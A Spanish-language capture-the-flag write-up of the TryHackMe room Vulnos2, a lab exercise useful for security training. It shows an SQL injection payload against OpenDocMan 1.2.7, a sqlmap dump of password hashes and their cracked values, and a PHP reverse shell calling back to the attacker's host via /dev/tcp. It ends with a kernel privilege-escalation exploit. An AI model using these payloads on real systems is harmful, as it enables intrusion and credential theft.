This page looks best with JavaScript enabled

TryHackMe - Vulnos2

 •  ✍️ sckull

Vulnos2 es una maquina de TryHackMe, encontramos multiples vulnerabilidades en OpenDocMan las cuales explotamos para obtener credenciales y acceer al panel de Drupal, que luego nos permitio ejecutar una shell inversa. Ejecutamos un exploit que afecta al Kernel de Linux para escalar privilegios.

Room

Titulo Vulnos2 box_img_maker
Descripción Just a typical web server, nothing to be suspicious of here.
Puntos *
Dificultad Media
Maker

DarkStar7471

MASSCAN & NMAP

Escaneo de puertos tcp/udp y servicios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
root@kali:~/trymehack/vulnos2# masscan -p1-65535,U:1-65535 10.10.169.208 --rate=1000 -e tun0

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-09-19 03:46:19 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.169.208                                   
Discovered open port 80/tcp on 10.10.169.208                                   

# Nmap 7.80 scan initiated Wed Sep 18 23:47:13 2019 as: nmap -sV -p- --min-rate 1000 -o nmap.scan 10.10.169.208
Warning: 10.10.169.208 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.169.208
Host is up (0.18s latency).
Not shown: 65517 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http    Apache httpd 2.4.7 ((Ubuntu))
6667/tcp  open     irc     ngircd
10337/tcp filtered unknown
12017/tcp filtered unknown
13034/tcp filtered unknown
13725/tcp filtered unknown
15125/tcp filtered unknown
27879/tcp filtered unknown
32710/tcp filtered unknown
33826/tcp filtered unknown
36395/tcp filtered unknown
36503/tcp filtered unknown
45704/tcp filtered unknown
46157/tcp filtered unknown
46605/tcp filtered unknown
49823/tcp filtered unknown
60384/tcp filtered unknown
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 18 23:49:32 2019 -- 1 IP address (1 host up) scanned in 139.20 seconds

# Nmap 7.80 scan initiated Wed Sep 18 23:50:25 2019 as: nmap -sV -sC -p 22,80,6667 -o nmap_sv.scan 10.10.169.208
Nmap scan report for 10.10.169.208
Host is up (1.4s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
|   2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
|   256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_  256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: VulnOSv2
6667/tcp open  irc     ngircd
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 18 23:50:59 2019 -- 1 IP address (1 host up) scanned in 34.28 seconds

WHATWEB

image

HTTP

Pagina en el puerto 80.
image

DIRBUSTER

Realizamos una busqueda de direcotrios, archivos html y txt con dirbuster.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@kali:~/trymehack/vulnos2# gobuster dir -u http://10.10.169.208/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 15
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.169.208/
[+] Threads:        15
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,txt
[+] Timeout:        10s
===============================================================
2019/09/18 23:53:44 Starting gobuster
===============================================================
/index.html (Status: 200)
/index.html (Status: 200)
/javascript (Status: 301)
/server-status (Status: 403)
===============================================================
2019/09/18 23:58:34 Finished
===============================================================

HTTP - /jabc/

Encontramos dentro de la pagina principla un enlace que nos redirige hacia otra pagina.
image

Dentro de la pagina de Documentation a simple vista se ve que no hay contenido de esta pagina al analizar el codigo fuente de la pagina, observamos que existe texto oculto por razones de “seguridad”. En el texto nos indica que para visitar la documentacion de la pagina visitemos /jabcd0cs/ e iniciemos sesion con guest/guest.

image

HTTP - /jabcd0cs/

Visitamos la pagina y nos muestra un panel para iniciar sesion.

image

Al iniciar sesion en la plataforma nos muestra un panel de control.
image

Vemos que la plataforma es OpenDocMan v1.2.7.
image

OpenDocMan 1.2.7 - Multiple Vulnerabilities

Al investgar un poco mas acerca de esta plataforma encontramos que en especifico esta version de OpenDocMan tiene dos vulnerabilidades. La primera es una vulnerabilidad de Inyeccion de SQL y la segunda Improper Access Control.

SQL Injection - OpenDocMan 1.2.7

Comprobamos si la vulnerabilidad de SQLi esta presente en la plataforma con la url y parametros para ver el usuario (user()).

Payload:

ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,user%28%29,3,4,5,6,7,8,9

image

Vemos que la vulnerabilidad esta presente ya que nos muestra el usuario. Para obtener los datos de la base de datos, utilizamos burpsuite para interceptar el trafico, guardamos el trafico del payload de SQLi de esta plataforma en un archivo response.req y utilizamos sqlmap con este archivo.

response.req
image

SQLMAP

Comando:

1
sqlmap -r response.req --dbs

image

Database: jabcd0cs
[15 tables]
+-------------------+
| odm_access_log    |
| odm_admin         |
| odm_category      |
| odm_data          |
| odm_department    |
| odm_dept_perms    |
| odm_dept_reviewer |
| odm_filetypes     |
| odm_log           |
| odm_odmsys        |
| odm_rights        |
| odm_settings      |
| odm_udf           |
| odm_user          |
| odm_user_perms    |
+-------------------+

Database: jabcd0cs
Table: odm_user
[2 entries]
+----+-------------+--------------------+----------+----------------------------------+-----------+------------+------------+---------------+
| id | phone       | Email              | username | password                         | last_name | first_name | department | pw_reset_code |
+----+-------------+--------------------+----------+----------------------------------+-----------+------------+------------+---------------+
| 1  | 5555551212  | webmin@example.com | webmin   | b78aae356709f8c31118ea613980954b | min       | web        | 2          | <blank>       |
| 2  | 555 5555555 | guest@example.com  | guest    | 084e0343a0486ff05530df6c705c8bb4 | guest     | guest      | 2          | NULL          |
+----+-------------+--------------------+----------+----------------------------------+-----------+------------+------------+---------------+

Utilizamos md5online.org para obtener la contraseña del hash md5 del usuario webadmin.

image

Credenciales:

webmin:webmin1980
guest:guest

SHELL - PHP

Ya que tenemos las credenciales de administrador regresamos a la pagina principal /jabc/ y visitamos el panel de inicio de sesion y utilizamos las credenciales (webmin:webmin1980), ya que tenemos control de las paginas habilitamos el modulo de PHP (PHP Filter), luego de esto agregamos codigo php con nuestra shell inversa a la pagina de ‘Documentation’.

PHP Modulo:
image

Codigo PHP:

1
2
3
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.8.1.72/1337 0>&1'");
?>

image

Netcat:

Ponemos a la escucha nuestra maquina con netcat y el puerto 1337.
image

PRIVILEGE ESCALATION

Verificamos la version del kernel de la maquina y verificamos si existe un exploit para esa version con searchsploit.

Version de Kernel:
image

Searchsploit:
image

Descargamos el exploit, lo compilamos y lo descargamos en la maquina, le damos permisos al archivo de ejecucion, ejecutamos el archivo y obtenemos permisos root.

image

Obtenemos nuestra flag en /root/flag.txt.
image

ExploitDB:

OpenDocMan 1.2.7 - Multiple Vulnerabilities

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - ‘overlayfs’ Local Privilege Escalation

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe